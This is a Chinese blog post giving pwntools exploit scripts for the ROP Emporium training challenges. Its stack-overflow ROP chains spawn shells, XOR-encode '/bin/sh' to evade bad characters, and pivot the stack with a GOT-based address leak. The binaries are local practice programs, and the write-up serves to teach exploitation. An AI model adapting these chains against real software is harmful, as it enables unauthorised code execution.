美文网首页
ROPemporium

ROPemporium

作者: cceb9d5a8577 | 来源:发表于2018-06-17 18:36 被阅读275次

    偶然间看到一个专门训练rop操作的网站,虽然题目难度不算很大,但是也学到了很多新的有关rop的操作,同时也是靠这些题目找回了学习pwn的状态
    题目官网:https://ropemporium.com/
    网上某大神的wp:http://www.giantbranch.cn/2017/12/18/rop%20emporium%20challenges%20wp/

    1.ret2win

    #!/usr/bin/python 
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process("./ret2win")
    
    binsh = 0x400811
    payload = 'a'*(0x20+0x08) +p64(binsh)
    
    p.sendline(payload)
    p.interactive()
    

    2.ret2win32

    #!/usr/bin/python 
    #coding:utf-8
    
    from pwn import *
    
    
    p = process("./ret2win32")
    
    ret2win = 0x08048659
    
    payload = 'a'*(0x28+0x04) +p32(ret2win)
    #\x59\x86\x04\x08
    
    #print p32(ret2win)
    
    p.sendline(payload)
    
    p.interactive()
    

    3.split

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./split')
    
    catflag = 0x601060
    system = 0x4005e0
    pop_rdi_ret = 0x400883
    payload = 'a'*(0x20 + 0x08) + p64(pop_rdi_ret) +p64(catflag)+p64(system)
    p.sendline(payload)
    p.interactive()
    

    4. split32

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./split32')
    
    catflag = 0x0804a030
    system = 0x08048430
    
    payload = 'a'*(0x28+0x04) +p32(system)+'aaaa'+p32(catflag)
    p.sendline(payload)
    p.interactive()
    

    5.callme

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./callme')
    elf = ELF('./callme')
    
    pop_rdi_ret = 0x00401b23
    pop_rsi_rdx_ret = 0x401ab1
    
    callone = 0x401850
    calltwo = 0x401870
    callthree = 0x401810
    
    payload = 'a'*(0x20 + 0x08)
    payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(callone)
    payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(calltwo)
    payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(callthree)
    
    p.sendline(payload)
    
    p.interactive()
    

    6.callme32

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./callme32')
    
    pop_esi_edi_ebp_ret = 0x080488a9
    callone = 0x080485c0
    calltwo = 0x08048620
    callthree = 0x080485b0
    main = 0x0804873b
    
    
    payload = 'a'*(0x28 + 0x04)
    
    payload +=  p32(callone)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
    payload +=  p32(calltwo)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
    payload +=  p32(callthree)+p32(0xdeadbeef)+p32(1)+p32(2)+p32(3)
    p.sendline(payload)
    
    p.interactive()
    

    7.write4

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./write4')
    
    pop_rdi_ret = 0x400893
    mov_r15_2_r14_ret = 0x400820
    pop_r14_r15_ret= 0x400890 
    bss = 0x601060
    binsh = '/bin/sh\x00'#sh\x00\x00\x00\x00\x00\x00也可以,只要在八字节内就行
    system = 0x4005e0
    
    payload = 'a'*(0x20+0x08) 
    payload += p64(pop_r14_r15_ret) + p64(bss) +binsh
    payload += p64(mov_r15_2_r14_ret)
    payload += p64(pop_rdi_ret) +   p64(bss) +p64(system) 
    
    p.sendline(payload)
    p.interactive()
    
    

    8.write432

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./write432')
    
    
    mov_edi_ebp_ret = 0x08048670 
    pop_edi_ebp_ret = 0x080486da 
    
    bss = 0x0804a040
    binsh = 'sh\x00\x00' #32位程序仅有四个字节可以写入,所以只能构造system(sh)
    system = 0x08048430
    
    payload = 'a'*(0x28+0x04) 
    payload += p32(pop_edi_ebp_ret)+p32(bss)+binsh
    payload += p32(mov_edi_ebp_ret)
    payload += p32(system)+p32(0xdeadbeef)+p32(bss)
    
    
    p.sendline(payload)
    p.interactive()
    
    

    9.badchars

    #!/usr/bin/python 
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process("./badchars")
    
    
    system = 0x4006f0
    bss = 0x601080
    binsh = '/bin/sh\x00'
    
    pop_r12_r13_ret = 0x0000000000400b3b 
    mov_r13_r12_ret = 0x0000000000400b34 
    pop_r14_r15_ret = 0x0000000000400b40 
    xor_r15_r14_ret = 0x0000000000400b30 
    
    pop_rdi_ret=0x0000000000400b39
    
    '''
    badchar = [98, 105, 99, 47, 32, 102, 110, 115]
    xornum = 1
    while 1:
        for x in binsh:
            tmp = ord(x) ^ xornum
            if tmp in badchar:
                xornum += 1
                break
            if x == "\x00":
                print xornum
                xornum +=1
                #2,3,5,9
        if xornum == 10:
            break        
    '''             
    xorbinsh = ''
    for x in binsh:
        xorbinsh += chr(ord(x) ^ 10)    
    #print xorbinsh
    
    
    payload = 'a'*(0x20+0x08)
    payload += p64(pop_r12_r13_ret) + xorbinsh + p64(bss)
    payload += p64(mov_r13_r12_ret)
    
    for x in xrange(0,len(xorbinsh)):   
        payload += p64(pop_r14_r15_ret)
        payload += p64(10)
        payload += p64(bss + x)
        payload += p64(xor_r15_r14_ret)
        
    
    payload += p64(pop_rdi_ret)
    payload += p64(bss)
    payload += p64(system)
    
    p.recvuntil("> ")
    
    p.sendline(payload)
    
    p.interactive()
    
    

    10.badchars32

    #!python
    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process("./badchars32")
    
    mov_edi_esi_ret = 0x08048893 
    pop_esi_edi_ret = 0x08048899
    
    pop_ebx_ecx_ret = 0x08048896
    xor_ebx_ecl_ret = 0x08048890
    
    system = 0x080484E0
    bss = 0x0804a040
    binsh = '/bin/sh\x00'
    
    badchar = [98, 105, 99, 47, 32, 102, 110, 115]
    xornum = 1
    while 1:
        for x in binsh:
            tmp = ord(x) ^ xornum
            if tmp in badchar:
                xornum += 1
                break
            if x == "\x00":
                print xornum
                xornum +=1
                #2,3,5,9
        if xornum == 10:
            break   
    
    xorbinsh = ''
    for x in binsh:
        xorbinsh += chr(ord(x) ^ 2) 
        
    #print xorbinsh
    
    payload = 'a'*(0x28+0x04)
    payload += p32(pop_esi_edi_ret)
    payload += xorbinsh[0:4] +p32(bss)
    payload += p32(mov_edi_esi_ret)
    #需要注意的是32位的程序一次只能传4个字节的字符串,因此xorbinsh需要分两次来发送到bss段里面
    payload += p32(pop_esi_edi_ret)
    payload += xorbinsh[4:8] +p32(bss+4)
    payload += p32(mov_edi_esi_ret)
    
    for x in xrange(0,len(xorbinsh)):
        payload += p32(pop_ebx_ecx_ret)
        payload += p32(bss+x) + p32(2)
        payload += p32(xor_ebx_ecl_ret)
    
    payload += p32(system) +p32(0xdeadbeef)+p32(bss)
    
    p.recvuntil("> ")
    p.sendline(payload)
    p.interactive()
    
    
    
    

    11.fluff

    这道题有个比较有趣的地方在于,可以用xor寄存器进行写入操作,用一个xor自己清空寄存器A,接着让寄存器B去xor寄存器A,把结果存在寄存器B,就相当于把B赋值給A

    #!python
    #coding:utf-8
    from pwn import *
    context.log_level = "debug"
    p = process("./fluff")
    
    system = 0x4005e0
    bss = 0x601060
    binsh = '/bin/sh\x00'
    junk = 'a'*8
    
    gadget1 = 0x40084d 
    #pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
    gadget2 = 0x400822
    #xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
    gadget3 = 0x40082f
    #xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
    gadget4 = 0x400840
    #xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
    gadget5 = 0x400832
    #pop r12 ; mov r13d, 0x604060 ; ret
    
    payload = 'a'*(0x20+0x08)
    payload += p64(gadget5)
    payload += p64(bss)
    payload += p64(gadget2) +junk
    payload += p64(gadget3) +junk
    payload += p64(gadget4) +junk
    
    payload += p64(gadget5)
    payload += binsh
    payload += p64(gadget2) +junk
    payload += p64(gadget3) +junk
    payload += p64(gadget1) +p64(bss)+junk +p64(0)
    
    payload += p64(system)
    
    p.recvuntil("> ")
    p.sendline(payload)
    p.interactive()
    
    '''
    这道题的关键点在于非常巧妙地利用了几个gadget,尤其是通过xor进行寄存器赋值的操作是真的很细节
    0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
    0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
    
    0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
    0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
    0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
    
    0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
    '''
    
    

    12.fluff32

    #!python
    #coding:utf-8
    from pwn import *
    context.log_level = "debug"
    
    p = process("./fluff32")
    bss = 0x0804a040
    binsh = "/bin/sh\x00"
    system = 0x08048430
    junk = "a"*4
    
    gadget1 = 0x08048693
    #mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
    gadget2 = 0x08048671
    #xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
    gadget3 = 0x0804867b
    #xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
    gadget4 = 0x080483e1
    # pop ebx ; ret
    gadget5 = 0x08048689
    #xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
    
    
    payload = 'a'*(0x28+0x04)
    
    #把bss的地址传给ecx
    payload += p32(gadget4)
    payload += p32(bss)
    payload += p32(gadget2)+junk
    payload += p32(gadget3)+junk
    payload += p32(gadget5)+junk
    #把binsh前四个字节写入bss的地址
    payload += p32(gadget4)
    payload += binsh[0:4]
    payload += p32(gadget2)+junk
    payload += p32(gadget3)+junk
    payload += p32(gadget1)+junk+p32(0)
    #把bss+4的地址传给ecx
    payload += p32(gadget4)
    payload += p32(bss+4)
    payload += p32(gadget2)+junk
    payload += p32(gadget3)+junk
    payload += p32(gadget5)+junk
    #把binsh后四个字节写入bss+4的地址
    payload += p32(gadget4)
    payload += binsh[4:8]
    payload += p32(gadget2)+junk
    payload += p32(gadget3)+junk
    payload += p32(gadget1)+junk+p32(0)
    #此时在bss段中已经写好了/bin/sh,然后就调用system函数getshell
    payload += p32(system) +p32(0xdeadbeef)+p32(bss)
    
    
    p.recvuntil("> ")
    p.sendline(payload)
    p.interactive()
    '''
    0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
    
    0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
    0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
    
    0x080483e1 : pop ebx ; ret
    0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
    '''
    

    13.pivot

    这道题有两次输入,第一次输入存入pivot堆的位置,第二次输入存入栈的位置,第二次输入的可溢出大小明显不够用来构造rop链,所以需要用到栈迁移的操作,然后就是一些rop的巧妙构造了,其次这道题有给出so文件,很明显就是要利用这个foothold函数来进行泄漏ret2win的真实地址,然后去调用这个ret2win函数
    找gadget的确是一件很麻烦的事情,但其实text段里面有提示



    很明显这个就是一个有用的gadget,剩下的就以这个为线索去找就行了

    exp如下:

    #!python
    #coding:utf-8
    from pwn import *
    context.log_level = "debug"
    elf = ELF("./pivot")
    libc = ELF("./libpivot.so")
    p = process("./pivot")
    
    plt_foothold_function = elf.plt["foothold_function"]
    got_foothold_function = elf.got["foothold_function"]
    
    libc_foothold_function = libc.symbols["foothold_function"]
    libc_ret2win = libc.symbols["ret2win"]
    
    offset = libc_ret2win-libc_foothold_function
    
    mov_rax_rax = 0x0000000000400b05
    pop_rax = 0x0000000000400b00
    call_rax =0x000000000040098e
    add_rax_rbp = 0x0000000000400b09
    pop_rbp = 0x0000000000400900
    xchg_rax_rsp = 0x0000000000400b02
    
    p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
    heap = int(p.recv(14),16)
    
    p.recvuntil("> ")
    
    payload1 = p64(plt_foothold_function)
    payload1 += p64(pop_rax)
    payload1 += p64(got_foothold_function)
    payload1 += p64(mov_rax_rax)
    payload1 += p64(pop_rbp)
    payload1 += p64(offset)
    payload1 += p64(add_rax_rbp)
    payload1 += p64(call_rax)
    p.sendline(payload1)
    
    
    p.recvuntil("> ")
    payload2 ='a'*(0x20+0x08)
    payload2 += p64(pop_rax)
    payload2 += p64(heap)
    payload2 += p64(xchg_rax_rsp)
    
    
    p.sendline(payload2)
    
    p.recvuntil("into libpivot.so")
    p.interactive()
    '''
    输入命令 ROPgadget --binary ./pivot --depth 20 配合着--only"xxx"和grep命令去找出这些有用的gadget
    
    0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
    0x0000000000400b00 : pop rax ; ret
    0x000000000040098e : call rax
    0x0000000000400b09 : add rax, rbp ; ret
    0x0000000000400900 : pop rbp ; ret
    0x0000000000400b02 : xchg rax, rsp ; ret
    
    '''
    

    14.pivot32

    原理同上,不多说了,直接贴上exp:

    #!python
    #coding:utf-8
    from pwn import *
    context.log_level = "debug"
    elf = ELF("./pivot32")
    libc = ELF("./libpivot32.so")
    p = process("./pivot32")
    
    plt_foothold_function = elf.plt["foothold_function"]
    got_foothold_function = elf.got["foothold_function"]
    
    libc_foothold_function = libc.symbols["foothold_function"]
    libc_ret2win = libc.symbols["ret2win"]
    
    offset = libc_ret2win-libc_foothold_function
    print offset
    mov_eax_eax = 0x080488c4
    pop_eax = 0x080488c0
    call_eax =0x080486a3
    add_eax_ebx = 0x080488c7
    pop_ebx = 0x08048571
    xchg_eax_esp = 0x080488c2
    
    p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
    heap = int(p.recv(10),16)
    
    p.recvuntil("> ")
    
    payload1 = p32(plt_foothold_function)
    payload1 += p32(pop_eax)
    payload1 += p32(got_foothold_function)
    payload1 += p32(mov_eax_eax)
    payload1 += p32(pop_ebx)
    payload1 += p32(offset)
    payload1 += p32(add_eax_ebx)
    payload1 += p32(call_eax)
    p.sendline(payload1)
    
    
    p.recvuntil("> ")
    payload2 ='a'*(0x28+0x04)
    payload2 += p32(pop_eax)
    payload2 += p32(heap)
    payload2 += p32(xchg_eax_esp)
    
    
    p.sendline(payload2)
    
    p.recvuntil("into libpivot.so")
    p.interactive()
    '''
    0x080488c0 : pop eax ; ret
    0x08048571 : pop ebx ; ret
    
    0x080488c2 : xchg eax, esp ; ret
    0x080488c4 : mov eax, dword ptr [eax] ; ret
    0x080486a3 : call eax
    0x080488c7 : add eax, ebx ; ret
    
    
    其实栈翻转我们一般用leave;ret,上面64位有0x0a,所以用不了
    
    上面的stack pivot可以用如下payload:
    
    leave_ret = 0x080486a8
    p.recvuntil("> ")
    payload = "a" * 40
    payload += p32(heap_addr - 4) 
    #因为后面的leave会pop ebp,所以这减4
    payload += p32(leave_ret)
    '''
    

    相关文章

      网友评论

          本文标题:ROPemporium

          本文链接:https://www.haomeiwen.com/subject/zgmweftx.html